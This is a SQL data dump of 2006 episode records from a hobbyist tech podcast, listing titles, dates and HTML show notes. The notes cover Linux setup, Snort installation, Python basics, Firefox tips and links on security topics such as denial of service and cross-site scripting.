(108,'2006-05-03','NSLU 2',761,'','<a href=\\\"http://tinyurl.com/9bpgq\\\">http://tinyurl.com/9bpgq</a><br>\r\n<br><a href=\\\"http://nslu2-linux.org\\\"> NSLU2</a>\r\n',71,0,1,'CC-BY-NC-SA','',0,0,1),
(109,'2006-05-04','The Gizmo Project!',970,'','<a href=\\\"http://www.gizmoproject.com\\\"> The Gizmo Project</a>',23,0,1,'CC-BY-NC-SA','',0,0,1),
(110,'2006-05-07','Sound Treatment Solutions',1157,'','No notes provided',46,0,1,'CC-BY-NC-SA','',0,0,1),
(111,'2006-05-08','Physical Security Case Mods part 2',562,'','No Notes',26,0,1,'CC-BY-NC-SA','',0,0,1),
(112,'2006-05-14','Reverse Engineering Part 1',1051,'','Chapter #1 of Security Warrior.<br>\r\n<br>\r\nKn1ghtl0rd reads the first chapter of Security Warrior about assembly language for reverse engineering.  This is a good topic that I am learning about and this book has some good information so I am giving you a preview of the kinds of stuff in this book.  I am giving full credit to the authors for the content and I hope this inspires you to go out and get the book and learn more about RCE.<br>\r\n<br>\r\n<a href=\"http://www.amazon.com/gp/product/0596005458/sr=8-1/qid=1147725119/ref=pd_bbs_1/104-9598123-4775116?%5Fencoding=UTF8\">Security Warrior on Amazon</a><br>\r\n<br>\r\n',2,0,1,'CC-BY-NC-SA','',0,0,1),
(113,'2006-05-17','Newsgroups',365,'','Quickie about newsgroups, recorded from work. ',36,0,1,'CC-BY-NC-SA','',0,0,1),
(114,'2006-05-18','New Project',457,'','Me rambling on about a new project being launched. I know its not the most interesting twat but hey check it out, it may spark an interest in the new project.',12,0,1,'CC-BY-NC-SA','',0,0,1),
(115,'2006-05-21','Homo-nomicon',40,'','\\\"I\\\'m.... a sexy motherfucker.\\\"',4,0,1,'CC-BY-NC-SA','',0,0,1),
(116,'2006-05-22','Irc Scripting',338,'','<a href=\\\"http://www.electrostuff.net\\\">Electro Stuff!</a><br>\r\n<a href=\\\"http://techcooks.com/\\\">Tech Cooks!</a>',22,0,1,'CC-BY-NC-SA','',0,0,1),
(117,'2006-05-23','ToVid ',617,'','Linux Video Authoring!!!',11,0,1,'CC-BY-NC-SA','',0,0,1),
(118,'2006-05-25','Compiling software under Linux ',1824,'',' An overview of the ./configure, make, make inst\r\nall process; some tips and what not.',7,0,1,'CC-BY-NC-SA','',0,0,1),
(119,'2006-05-29','External Memory',505,'','Memorial Day!!!! Yay! <br>\r\n<br>\r\n\\\'DPG\\\' is Dollars per Gigs, or Price/Gigs.<br>\r\nThe lower the DPG, the better the deal!<br>\r\nExample: $125/100GB = 1.25 DPG<br>\r\n<br>\r\n<a href=\\\"http://www.TigerDirect.com\\\"> Tiger Direct</a><br>\r\n<a href=\\\"http://www.Geeks.com\\\">Geeks!</a><br>\r\n<br>\r\nTWAT theme in doublespeed! w00t w00t!<br>\r\n<br>\r\nxcalibur1337 [at] gmail [dot] com<br>\r\n',31,0,1,'CC-BY-NC-SA','',0,0,1),
(120,'2006-05-31','Firefox Secrets',340,'',' A couple of quick tips of features built into mozilla firefox<br>\r\n\r\n<a href=\\\"http://www.podcastincubator.com/dra\\\"> Lord Drachenblut</a>',24,0,1,'CC-BY-NC-SA','',0,0,1),
(121,'2006-07-02','Real Server',440,'','how to start the server <br>\r\n\\\"C:\\\\Program Files\\\\Real\\\\Helix Server\\\\Bin\\\\rmserver.exe\\\"<br> \\\"C:\\\\Program Files\\\\Real\\\\Helix Server\\\\rmserver.cfg\\\"<br>\r\n<br>\r\nyou can also save everything you setup on producer in a rpjf file<br>\r\n<br>\r\nexample rmserver.cfg<br>\r\n<br>\r\n\r\n<Var RTSPPort=\\\"25\\\"/><br>\r\n<Var PNAPort=\\\"70\\\"/><br>\r\n<Var HTTPPort=\\\"8080\\\"/><br>\r\n<Var MMSPort=\\\"1755\\\"/><br>\r\n<Var MonitorPort=\\\"9090\\\"/><br>\r\n<Var AdminPort=\\\"14185\\\"/><br>\r\n\r\n\r\n<br>\r\nscreen shot of main configure options for producer<br>\r\n\r\n<a href=\"http://rmccurdy.com/stuff/TWAT/twat_real_server.jpg\">\r\nScreenshot\r\n<br>',36,0,1,'CC-BY-NC-SA','',0,0,1),
(122,'2006-07-04','Getting started with PHP on windows',975,'','Think you might be interested in learning PHP? Here is a\r\nquick show to help you get started. In this show I go over most\r\neverything you need to do or aquire in order to start programming PHP.\r\n\r\n',37,0,1,'CC-BY-NC-SA','',0,0,1),
(123,'2006-07-05','Python',1180,'','Learning with python though examples<br><br>\r\n\r\nMicrosoft Windows XP [Version 5.1.2600]<br>\r\n(C) Copyright 1985-2001 Microsoft Corp.<br>\r\nC:\\\\>python<br>\r\nPython 2.4.3 (#69, Mar 29 2006, 17:35:34) [MSC v.1310 32 bit (Intel)] on win32<br>\r\nType \\\"help\\\", \\\"copyright\\\", \\\"credits\\\" or \\\"license\\\" for more information.<br>\r\n>>> print \\\"HELLO\\\" # Number signs will comment<br>\r\nHELLO<br>\r\n\r\n<br>\r\n>>> name = \\\"Cotton\\\" <br>\r\n# the variable \\\"name\\\" has been defined to the string \\\"Cotton\\\"<br>\r\n>>> def hello():<br>\r\n...     print \\\"Hello there, %s\\\"%name<br>\r\n...	<br>\r\n# hello() is now a function<br>\r\n>>> hello()<br>\r\nHello there, Cotton<br>\r\n\r\n<br>\r\n# alittle more complicated<br>\r\n<br>\r\n>>> def hello2(user): # we now made \\\"user\\\" and argument. <br>\r\n...     print \\\"Hello there, %s\\\"% user<br>\r\n...<br>\r\n>>> hello2() <br>\r\n# U cannot call hello2(user) without an argument. <br>\r\nTraceback (most recent call last):<br>\r\n  File \\\"<stdin>\\\", line 1, in ?<br>\r\n\r\nTypeError: hello2() takes exactly 1 argument (0 given)<br>\r\n<br>\r\n>>> hello2(\\\"infonomicon\\\")<br>\r\nHello there, infonomicon<br>\r\n<br>\r\n>>> nicks = [\\\"John\\\",\\\"Billy\\\", \\\"Python\\\", \\\"Cotton\\\", \\\"twat\\\"] #nicks has been defined as a list<br>\r\n>>> nicks<br>\r\n[\\\'John\\\', \\\'Billy\\\', \\\'Python\\\', \\\'Cotton\\\', \\\'twat\\\']<br>\r\n>>> for i in nicks:<br>\r\n...     hello2(i)<br>\r\n\r\n...<br>\r\nHello there, John<br>\r\nHello there, Billy<br>\r\nHello there, Python<br>\r\nHello there, Cotton<br>\r\nHello there, twat<br>\r\n<br>\r\n# For more help, visit http://www.ibiblio.org/obp/thinkCSpy/ That site has helped me tremendously! <br>\r\n# Email me cbmailone[at]gmail[dot]com<br>\r\nGreat Python Tutorials:<br><br>\r\n<a href=\\\"http://www.ibiblio.org/obp/thinkCSpy/\\\">http://www.ibiblio.org/obp/thinkCSpy/</a><br>\r\n<a href=\\\"http://www.ibiblio.org/g2swap/byteofpython/read/index.html\\\">http://www.ibiblio.org/g2swap/byteofpython/read/index.html</a><br>\r\n<a href=\\\"http://diveintopython.org/toc/index.html\\\">http://diveintopython.org/toc/index.html</a><br',35,0,1,'CC-BY-NC-SA','',0,0,1),
(124,'2006-07-10','Bluecasing',470,'','<a href=\\\"http://www.irongeek.com/i.php?page=security/bluecasing1\\\">Bluecasing: War Nibbling, Bluetooth and Petty Theft</a>\r\n',9,0,1,'CC-BY-NC-SA','',0,0,1),
(125,'2006-07-16','Authentication With Apache',421,'','No notes submitted.',8,0,1,'CC-BY-NC-SA','',0,0,1),
(126,'2006-07-18','Caring for thumbdrives',1300,'','Everyone loves thumbdrives or otherwise USB data storage\r\ndevices. The moral of this story is be responsible & employ\r\nencryption.\r\n\r\nTrue Crypt can be used to encrypt practically anything, anywhere.\r\nSteve Gibson from Security Now covers True Crypt in podcast Episode\r\n#41.\r\n\r\nLexar sells a thumb drive that comes ready with encryption. Lexar\\\'s\r\nJump Drive Secure.',37,0,1,'CC-BY-NC-SA','',0,0,1),
(127,'2006-07-23','Getting Started With Snort',189,'','Snort is included with SuSE but not Red Hat. If you need it (or you want to upgrade), download the source distribution from  http://www.snort.org and unpack it:\r\n<br /><br />\r\n$ tar xvpzf snort-*.tar.gz\r\n<br /><br />\r\nThen compile it:\r\n<br /><br />\r\n$ cd `ls -d snort-* | head -1`<br />\r\n$ ./configure<br />\r\n$ make\r\n<br /><br />\r\nand install the binary and manpage as root:\r\n<br /><br />\r\n# make install\r\n<br /><br />\r\nNext, create a logging directory. It should not be publicly readable, since it will contain potentially sensitive data:\r\n<br /><br />\r\n# mkdir -p -m go-rwx /var/log/snort\r\n<br /><br />\r\nFinally, install the configuration files and rules database:\r\n<br /><br />\r\n# mkdir -p /usr/local/share/rules<br />\r\n# cp etc/* rules/*.rules  /usr/local/share/rules<br />',38,0,1,'CC-BY-NC-SA','',0,0,1),
(128,'2006-08-01','Retreating From Tech In Style',574,'','No notes submitted.',11,0,1,'CC-BY-NC-SA','',0,0,1),
(129,'2006-08-03','Building Packages for Arch Linux',1532,'','<h3>Building Packages for Arch Linux</h3>\r\n\r\n\r\n<p>For more information on building Arch Packages, consult the <a href=\\\"http://wiki.archlinux.org/index.php/ABS_-_The_Arch_Build_System\\\">Arch Build System How-to</a> on the Arch Wiki. </p>\r\n\r\n<p>The following is a sample PKGBUILD file for building MuSE.  Note, the source file was on my system, so I did not specify a url for the source and have the package build system pull the source down from the server.</p>\r\n\r\npkgname=MuSE<br />\r\npkgver=0.9.2<br />\r\n\r\npkgrel=1<br />\r\npkgdesc=\\\"MuSE is an application for the mixing, encoding, and network streaming of sound: it can mix up to 6 encoded audio bitstreams (from files or network, mp3 or ogg) plus a souncard input signal, the resulting stream can be played locally on the sound card and/or encoded at different bitrates, recorded to harddisk and/or streamed to the net. When sent to a server, the resulting audio can be listened thru the net by a vast number of players available on different operating systems.\\\"<br />\r\nurl=\\\"http://muse.dyne.org/\\\"<br />\r\nlicense=\\\"gnu/gpl\\\"<br />\r\ndepends=(\\\'lame\\\' \\\'libogg\\\' \\\'libvorbis\\\' \\\'ncurses\\\' \\\'gtk\\\' \\\'libsndfile\\\')<br />\r\nmakedepends=()<br />\r\nconflicts=()<br />\r\nreplaces=()<br />\r\nbackup=()<br />\r\n\r\ninstall=<br />\r\nsource=($pkgname-$pkgver.tar.gz)<br />\r\nmd5sums=()<br />\r\n<br />\r\nbuild() {<br />\r\n  cd $startdir/src/$pkgname-$pkgver<br />\r\n  ./configure --prefix=/usr<br />\r\n  make || return 1<br />\r\n\r\n  make DESTDIR=$startdir/pkg install<br />\r\n}<br />\r\n',7,0,1,'CC-BY-NC-SA','',0,0,1),
(130,'2006-08-06','UltraVNC',680,'','<a target=blank href=\\\"http://ultravnc.sf.net\\\">http://ultravnc.sf.net</a><br>\r\n<a target=blank href=\\\"http://www.no-ip.com\\\">http://www.no-ip.com</a><br>\r\n<a target=blank href=\\\"http://www.dyndns.com\\\">http://www.dyndns.com</a><br>\r\n<a target=blank href=\\\"http://www.rmccurdy.com/stuff/TWAT/twat_SC_VNC.txt\\\">http://www.rmccurdy.com/stuff/twat_SC_VNC.txt</a> Example code bat file.<br>\r\n\r\n<a target=blank href=\\\"http://daymarerecords.com/music/AwwTistic/\\\">http://daymarerecords.com/music/AwwTistic</a> Music I produced that is in the show<br>',36,0,1,'CC-BY-NC-SA','',0,0,1),
(131,'2006-08-07','Firefox Tips',415,'','<p>Go to about:config and right click and go to new --> boolean and set the preference name to config.trim_on_minimize and set the boolean value to true.\r\n</p>\r\n<p>Now go to task manager -->process tab-->and look for firefox.exe and watch the memory usage drop when you minimize. I will have the show notes on my site, <a href=\"http://www.i-trash.org\\\">www.i-trash.org</a> if you missed anything. </p>\r\n\r\n',40,0,1,'CC-BY-NC-SA','',0,0,1),
(132,'2006-08-08','Office 2003 Voice recognition review',566,'','<br>Office 2003 bug fixes\r\n<br><a href=\\\"http://www.tau.ac.il/~itamarez/sr/mssr-2003.htm\\\">http://www.tau.ac.il/~itamarez/sr/mssr-2003.htm </a>\r\n<br>\r\n<br>voice recognition in Chinese \r\n<br><a href=\\\"http://office.microsoft.com/en-gb/assistance/HA010347511033.aspx\\\">http://office.microsoft.com/en-gb/assistance/HA010347511033.aspx </a>',39,0,1,'CC-BY-NC-SA','',0,0,1),
(133,'2006-08-09','XPlite and 2000lite',449,'','Lite PC\r\n<br>\r\n<a href=\\\"http://www.litepc.com/xplite.html\\\">http://www.litepc.com/xplite.html</a>',41,0,1,'CC-BY-NC-SA','',0,0,1),
(134,'2006-08-10','Apple Widgets',521,'','Very simple dissection of an apple widget.\r\n<p>\r\nDownload droops\\\' example at\r\n<br>\r\n<a href=\\\"http://infonomicon.org/widgets\\\">infonomicon.org/widgets</a>\r\n',1,0,1,'CC-BY-NC-SA','',0,0,1),
(135,'2006-08-13','How to Find a Job Online',504,'','No Show notes',36,0,1,'CC-BY-NC-SA','',0,0,1),
(136,'2006-08-14','Denial of Service',545,'','Wikipedia entry on Denial of Service <br>\r\n<a href=\\\"http://en.wikipedia.org/wiki/Denial-of-service_attack\\\">http://en.wikipedia.org/wiki/Denial-of-service_attack </a>\r\n<br><br>\r\nTcp Syn Floods <br>\r\n<a href=\\\"http://www.iss.net/security_center/advice/Exploits/TCP/SYN_flood/default.htm\\\">http://www.iss.net/security_center/advice/Exploits/TCP/SYN_flood/default.htm </a>\r\n<br><br>\r\nLand Attack wikipedia <br>\r\n<a href=\\\"http://en.wikipedia.org/wiki/LAND\\\"> http://en.wikipedia.org/wiki/LAND </a>',9,0,1,'CC-BY-NC-SA','',0,0,1),
(137,'2006-08-15','Securing the Asterisk Manager',615,'','No shownotes yet, i\\\'ll have a screenshot guide ready by the weekend and edit the shownotes when it\\\'s up. It should be straightforward enough anyways though.',12,0,1,'CC-BY-NC-SA','',0,0,1),
(138,'2006-08-17','Soft Moding an Xbox',592,'','No show notes',24,0,1,'CC-BY-NC-SA','',0,0,1),
(139,'2006-08-22','Honeypots',412,'','Honeypots (part 1 of 2)\r\n<BR>\r\n<br>\r\nIn computer terminology, a honeypot is a trap set to detect, deflect or in some manner counteract attempts at unauthorized use of information systems. Generally it consists of a computer, data or a network site that appears to be part of a network but which is actually isolated and protected, and which seems to contain information or a resource that would be of value to attackers. A honeypot that masquerades as an open proxy is known as a sugarcane.<br>\r\n<br>\r\n<a href=\"http://en.wikipedia.org/wiki/Honeypot\">http://en.wikipedia.org/wiki/Honeypot</a>\r\n<br>\r\n<br>\r\n\r\n',38,0,1,'CC-BY-NC-SA','',0,0,1),
(140,'2006-08-23','Running 32 bit apps in 64 bit Linux',544,'','<a href=\\\"http://www.getautomatix.com/\\\">http://www.getautomatix.com </a>\r\n<br>\r\n<a href=\"http://process-of-elimination.net/wiki/Ubuntu_32bit_CHROOT_for_AMD64 http://www.debian-administration.org/articles/356\">http://process-of-elimination.net/wiki/Ubuntu_32bit_CHROOT_for_AMD64 http://www.debian-administration.org/articles/356\r\n</a>\r\n<br>\r\n<a href=\"http://www.ubuntuforums.org/showthread.php?t=191205\">http://www.ubuntuforums.org/showthread.php?t=191205</a>\r\n<br>\r\n<a href=\"http://forums.gentoo.org/viewtopic-t-221361.html\">http://forums.gentoo.org/viewtopic-t-221361.html</a>\r\n<br>\r\n<br>\r\n\r\n\r\n\r\n',11,0,1,'CC-BY-NC-SA','',0,0,1),
(141,'2006-08-24','RSI - Repetitive Stress Injury',719,'','<a href=\\\"http://www.rsihelp.com\\\">RSI Help</a>\r\n<br>\r\n<a href=\\\"http://www.workrave.org\\\">Workrave - Linux & Windows</a>\r\n<br>\r\n<a href=\\\"http://ozy.student.utwente.nl/projects/antirsi/\\\">AntiRSI - OS X App</a>\r\n<br>\r\n<br>',7,0,1,'CC-BY-NC-SA','',0,0,1),
(142,'2006-08-27','Writely',512,'','<a href=\\\"http://www.writely.com/\\\">http://www.writely.com/</a>\r\n<br>\r\n<br>',12,0,1,'CC-BY-NC-SA','',0,0,1),
(143,'2006-08-28','CBBot',768,'','No Show notes',35,0,1,'CC-BY-NC-SA','',0,0,1),
(144,'2006-08-29','Nessus',355,'','<a href=\"http://www.twatech.org/shownotes/TWAT144Nessus_RC.txt\"> Example Nessus output </a>\r\n<br>\r\n<br>\r\n<a href=\"http://www.twatech.org/shownotes/TWAT144NESSUS_CGI.txt\">CGI Examples </a>\r\n<br>\r\n<br>\r\n<a href=\\\"http://en.wikipedia.org/wiki/Nessus_(software)\\\"> http://en.wikipedia.org/wiki/Nessus_(software)</a>\r\n<br>\r\n<br>\r\n<a href=\\\"http://www.nessus.org/\\\"> http://www.nessus.org/ </a>',36,0,1,'CC-BY-NC-SA','',0,0,1),
(145,'2006-09-04','Audio engineering',331,'','No Show Notes',42,0,1,'CC-BY-NC-SA','',0,0,1),
(146,'2006-09-05','Micropower TV',937,'','<a href=\\\"http://freeradio.org/\\\">http://freeradio.org/</a>\r\n<br>\r\n<br>\r\n<a href=\\\"http://fcc.gov/\\\">http://fcc.gov/</a>',43,0,1,'CC-BY-NC-SA','',0,0,1),
(147,'2006-09-06','VMware Player',799,'','<br>\r\n<a href=\"http://www.vmware.com/products/player/\\\">http://www.vmware.com/products/player/</a>\r\n<br>\r\n<br>',44,0,1,'CC-BY-NC-SA','',0,0,1),
(148,'2006-09-07','In the Payphone Lounge',238,'','featuring Jason Scott and Strom Carlson. Music:\r\n\\\"Cut\\\" by Nika Japaridze \r\n<br>\r\n<a href=\\\"http://www.archive.org/details/rest026\\\">http://www.archive.org/details/rest026</a>',13,0,1,'CC-BY-NC-SA','',0,0,1),
(149,'2006-09-10','Wireless Security',724,'','No Show Notes',35,0,1,'CC-BY-NC-SA','',0,0,1),
(150,'2006-09-12','Vpn\\\'s',693,'','<br>\r\n<a href=\\\"http://twatech.org/shownotes/150notes.txt\\\">Show Notes </a>\r\n<br>\r\n<br>',19,0,1,'CC-BY-NC-SA','',0,0,1),
(151,'2006-09-13','Skiddie Baiting',477,'','<br>\r\n<a href=\\\"http://irongeek.com/i.php?page=security/skiddy-baiting\\\">http://irongeek.com/i.php?page=security/skiddy-baiting </a>',9,0,1,'CC-BY-NC-SA','',0,0,1),
(152,'2006-09-14','Dynamic DNS',834,'','<a href=\"http://www.twatech.org/shownotes/notes152txt\\\">Show Notes',40,0,1,'CC-BY-NC-SA','',0,0,1),
(153,'2006-09-18','How to make your own xbox usb adpapter',268,'','No Show Notes',24,0,1,'CC-BY-NC-SA','',0,0,1),
(154,'2006-09-20','Sourcemage',316,'','<br>\r\n<a href=\\\"http://www.sourcemage.org/\\\"> http://www.sourcemage.org/ </a>\r\n<br>\r\n<br>',41,0,1,'CC-BY-NC-SA','',0,0,1),
(155,'2006-09-21','Cross Site Scripting',357,'','<br><a href=\\\"http://occ0de.wordpress.com/2006/09/19/hello-world/\\\">Link to full shownotes</a><br/>\r\n<a href=\\\"http://www.cgisecurity.com/articles/xss-faq.shtml\\\">Cgisecurity.com: Cross Site Scripting questions and answers</a><br/>\r\n<a href=\\\"http://en.wikipedia.org/wiki/Cross_site_scripting\\\">Cross-site scripting - Wikipedia entry</a><br/>\r\n<a href=\\\"http://seclists.org/\\\">SecLists.org Security Mailing List Archives</a><br/>\r\n<a href=\\\"http://twatech.org/index.php?page=118\\\">TWAT ep. 33 - SQL Injection, by Livinded</a><br/>\r\n<a href=\\\"http://ha.ckers.org/xss.html\\\">XSS (Cross Site Scripting) Cheat Sheet</a><br/>\r\n<a href=\\\"http://www.grc.com/securitynow.htm\\\">Security Now Episodes</a><br/>\r\n<a href=\\\"http://www.noscript.net/\\\">NoScript Plugin for Firefox</a>\r\n<br>\r\n<br>',45,0,1,'CC-BY-NC-SA','',0,0,1),
(156,'2006-09-24','Safari Bookshelf',616,'','<br>\r\n<a href=\"http://safari.oreilly.com\"> http://safari.oreilly.com/ </a>\r\n<br>\r\n<br>',7,0,1,'CC-BY-NC-SA','',0,0,1),
(157,'2006-09-25','SnortSam',963,'','<br>\r\n<a href=\\\"http://www.rmccurdy.com/stuff/TWAT/snort/\\\"> http://www.rmccurdy.com/stuff/TWAT/snort/ </a>\r\n<br>\r\n<br>',36,0,1,'CC-BY-NC-SA','',0,0,1),
(158,'2006-09-26','NirCmd',365,'','<p>\r\nNirCmd info page:<br />\r\n<a href=\\\"http://www.nirsoft.net/utils/nircmd.html\\\">http://www.nirsoft.net/utils/nircmd.html</a>\r\n</p>\r\n\r\n<p>\r\nNirCmd download link (zip format):<br />\r\n<a href=\\\"http://www.nirsoft.net/utils/nircmd.zip\\\">http://www.nirsoft.net/utils/nircmd.zip</a>\r\n</p>\r\n\r\n<p>\r\nNirCmd help/command reference online:<br />\r\n<a href=\\\"http://www.nirsoft.net/utils/nircmd2.html#using\\\">http://www.nirsoft.net/utils/nircmd2.html#using</a>\r\n</p>',46,0,1,'CC-BY-NC-SA','',0,0,1),
(159,'2006-09-27','Cygwin and Bash scripting',1472,'','No Show Notes',81,0,1,'CC-BY-NC-SA','',0,0,1),
(160,'2006-09-28','RockBox Open Source Jukebox firmware',483,'','<Pre>ROCKBOX - OPEN SOURCE JUKEBOX FIRMWARE\r\n<a href=\\\"http://www.rockbox.org/\\\">http://www.rockbox.org/ </a>\r\n\r\n\r\n\r\nPresently works on\r\n    * Archos: Jukebox 5000, 6000, Studio, Recorder, FM Recorder, Recorder V2 and Ondio\r\n    * iriver: H100 and H300 series\r\n    * iriver: H10 series\r\n    * Apple: iPod 4th gen (grayscale and color), 5th gen (Video), Nano and Mini 1st/2nd gen\r\n    * iAudio: X5 (including X5V and X5L)\r\n    * Additional models are in development \r\n\r\nReach me  at ksmurf [at] gmail [dot] com if you have any questions or comments </Pre>',21,0,1,'CC-BY-NC-SA','',0,0,1),
(161,'2006-10-01','Fedora Frog',690,'','<br>\r\nFedora Frog<br>  \r\n<a href=\\\"http://easylinux.info/wiki/Fedora_frog\\\"> http://easylinux.info/wiki/Fedora_frog </a><br>\r\n<br>\r\nother handy guides to setting up Fedora Core 5<br>  \r\n<a href=\\\"http://www.gagme.com/greg/linux/fc5-tips.php\\\">  http://www.gagme.com/greg/linux/fc5-tips.php </a>  <br>\r\n<br> ',23,0,1,'CC-BY-NC-SA','',0,0,1),
(162,'2006-10-02','Basic Intro to Gimp',807,'','<br>\r\n<a href=\\\"http://www.gimp.org/\\\">http://www.gimp.org/</a>\r\n<br>\r\n<br>\r\n<a href=\\\"http://gimp-savvy.com/BOOK/index.html\\\"> http://gimp-savvy.com/BOOK/index.html </a>\r\n<br>\r\n<br>',47,0,1,'CC-BY-NC-SA','',0,0,1),
(163,'2006-10-03','Vpn part 2',456,'','<br>\r\n<a href=\\\"http://www.twatech.org/shownotes/notes.pdf\\\"> Show Notes </a>\r\n<br>\r\n<br>',19,0,1,'CC-BY-NC-SA','',0,0,1),
(164,'2006-10-04','Beginners guide to network Recon with Nm',401,'','<a href=\\\"http://insecure.org/stc/\\\">Fyodor\\\'s chapter on \\\"How to Own a Continent\\\"</a><br/>\r\n<code><pre>man nmap - Nmap man page<br/></pre></code>\r\n<a href=\\\"http://www.kismetwireless.net/\\\">Kismet</a><br/>\r\n<a href=\\\"http://kismac.de/\\\">Kismac</a><br/>\r\n<a href=\\\"http://en.wikipedia.org/wiki/Subnetwork\\\">Wikipedia, Subnetworking</a>',45,0,1,'CC-BY-NC-SA','',0,0,1),
(165,'2006-10-05','Wake On Lan',339,'','<a href=\\\"http://en.wikipedia.org/wiki/Wake-on-LAN\\\">Wikipedia Article</a>',12,0,1,'CC-BY-NC-SA','',0,0,1),
(166,'2006-10-08','Eggdrop',222,'','<br>\r\n<a href=\\\"http://www.eggheads.org/\\\">http://www.eggheads.org/</a> <br> <br>\r\n<a href=\\\"http://en.wikipedia.org/wiki/Eggdrop\\\"> http://en.wikipedia.org/wiki/Eggdrop </a>\r\n<br>\r\n<br>',38,0,1,'CC-BY-NC-SA','',0,0,1),
(167,'2006-10-09','Wireless Attacks for Dummies',641,'','No Show Notes',46,0,1,'CC-BY-NC-SA','',0,0,1),
(168,'2006-10-12','Newsgroup Reader',362,'','No Show Notes',36,0,1,'CC-BY-NC-SA','',0,0,1),
(169,'2006-10-15','GPS and Phreaknic',567,'','<br>\r\n<a href=\\\"http://irongeek.com/i.php?page=security/ut-41-gps-backtrack-linux-kismet\\\"> Irongeek\\\'s GPS article </a>\r\n<br>\r\n<br>',9,0,1,'CC-BY-NC-SA','',0,0,1),
(170,'2006-10-17','Basics of Supercomputers',333,'','No Show Notes',48,0,1,'CC-BY-NC-SA','',0,0,1),
(171,'2006-10-18','Custom Firefox search bar extension',478,'','<br>\r\nInspired by <a href=\\\"http://wiki.archlinux.org/index.php/Firefox_Tips_and_Tweaks\\\">http://wiki.archlinux.org/index.php/Firefox_Tips_and_Tweaks</a><br>\r\n\r\n<br>\r\n<br>\r\nClosing Music  Anxiety of Influence - Insomniac<br> <a href=\\\"http://www.anxietyofinfluence.ca\\\">http://www.anxietyofinfluence.ca/ </a>\r\n',21,0,1,'CC-BY-NC-SA','',0,0,1),
(172,'2006-10-23','Torrent Flux',441,'','Get Torrent Flux at</br> \r\n\r\n<a href=\"http://www.torrentflux.com\">torrentflux.com </a> <br>\r\n<br>\r\nget torrent flux b4rt<br>\r\n<a href=\"http://tf-b4rt.berlios.de/features.html\">http://tf-b4rt.berlios.de/features.html </a> <br>\r\n<br>\r\nand a nice howto at<br>\r\n<a href=\"http://www.howtoforge.com/ubuntu_lamp_torrentflux_vmware_p2\">http://www.howtoforge.com/ubuntu_lamp_torrentflux_vmware_p2 </a><br>\r\n<br>\r\n\r\nI start you on page 2 because this guide is how to make a vmware appliance of torrentflux. <br>\r\nIf you want a vmware appliance just go back to page one and start there. <br>\r\n<br>\r\nIf you want to implent torrentflux-b4rt instead of torrentflux the steps should be the same but\r\na do warn to try at your own risk on either of these.\r\n',24,0,1,'CC-BY-NC-SA','',0,0,1),
(173,'2006-10-24','Bash History and Tab completion',891,'','<h4>Bash History and Tab Completion</h4>\r\n\r\n<p>when you log in the first time bash reads:\r\n<ul>\r\n<li>/etc/profile</li>\r\n<li>.profile (if exists in home dir)</li>\r\n<li>.bash_profile (if exists in home dir)</li>\r\n</ul>\r\n\r\nnon-login shells read:\r\n<ul>\r\n	<li>.bashrc (if it exists)</li>\r\n</ul>\r\n</p>\r\n\r\n<p>If you want to increase your history size put this in your .bash_profile:\r\n<blockquote>export HISTSIZE=1000</blockquote>\r\n\r\nYou may want to also put that in your .bashrc for subsequent shells from your\r\nlogin shell, because this value will not be set until you log out and back in again.  You can also \r\nissue export HISTSIZE=1000 in the shell to increase this, but value will not be set for any other or\r\nsubsequent shells started from your session.\r\n</p>\r\n',7,0,1,'CC-BY-NC-SA','',0,0,1),
(174,'2006-10-30','Halloween Remix',218,'','<BR>\r\nA little bit different of a show today  basically just me fooling around in audacity playing with some mp3\\\'s hopefully you\\\'ll reconize most of the music <br>',39,0,1,'CC-BY-NC-SA','',0,0,1),
(175,'2006-11-01','Potato Cannon',724,'','<br>\r\n<a href=\\\"http://twatech.org/shownotes/notes.jpg\\\"> Potato Cannon Picture\r\n<br>\r\n<br>',3,0,1,'CC-BY-NC-SA','',0,0,1),
(176,'2006-11-02','Network Filesystems',1039,'','<br>\r\n<a href=\\\"http://us2.samba.org/samba/\\\">Samba</a><br > \r\n<a href=\\\"http://lists.samba.org/archive/samba/2006-February/117184.html\">Disable Printing in Samba</a><br>\r\n<a href=\\\"http://fuse.sourceforge.net/sshfs.html\\\" >sshFS</a><br>\r\nman exports<br>\r\nman nfs<br>\r\n<br>\r\n<br>',12,0,1,'CC-BY-NC-SA','',0,0,1),
(177,'2006-11-06','Useful Utilities',627,'','<br>\r\n<a href=\\\" http://0pencircuit.net/t0c/index.php?topic=47.msg511#msg511\\\"> List of Utilities </a>\r\n<br>\r\n<br>',36,0,1,'CC-BY-NC-SA','',0,0,1),
(178,'2006-11-07','Model M Keyboard Lovefest',461,'','Model M (currently down)<br>\r\n<a href=\\\"http://www.modelm.org/\\\">http://www.modelm.org/ </a> <br>\r\n<br>\r\n\r\nModel M Keyboard on Wikipedia<br>\r\n<a href=\\\"http://en.wikipedia.org/wiki/IBM_Model_M_keyboard\\\">http://en.wikipedia.org/wiki/IBM_Model_M_keyboard </a> <br>\r\n<br>\r\n\r\nCare and feeding of an IBM Model M keyboard<br>\r\n<a href=\\\"http://www.preater.com/modelm/\\\"> http://www.preater.com/modelm/ </a> <br>\r\n<br>\r\n\r\n\r\nClicky Keyboards <br>\r\n<a href=\\\"http://www.clickykeyboards.com\\\"> http://www.clickykeyboards.com </a> <br>\r\n<br>\r\n\r\nDiagram for making your own USB Model M <br>\r\n<a href=\\\"http://zevv.nl/experiments/ibm-usb/\\\">http://zevv.nl/experiments/ibm-usb/ </a> <br>\r\n<br>\r\nModern Model Ms <br>\r\n<a href=\\\"http://pckeyboards.stores.yahoo.net/keyboards.html\\\"> http://pckeyboards.stores.yahoo.net/keyboards.html </a> <br>\r\n<br>\r\n',9,0,1,'CC-BY-NC-SA','',0,0,1),
(179,'2006-11-09','Introduction to e-Learning and SCORM',455,'','No Show Notes',46,0,1,'CC-BY-NC-SA','',0,0,1),
(180,'2006-11-12','Dynamics Processing',476,'','No Show Notes',42,0,1,'CC-BY-NC-SA','',0,0,1),
(181,'2006-11-13','Firefox 2.0 Tips and Tricks',1461,'','\r\n\r\n<a href=\\\"http://twatech.org/shownotes/181shownotes.txt\\\"> Show Notes </a>',40,0,1,'CC-BY-NC-SA','',0,0,1),
(182,'2006-11-15','OpenBSD',565,'','No Show Notes',19,0,1,'CC-BY-NC-SA','',0,0,1),
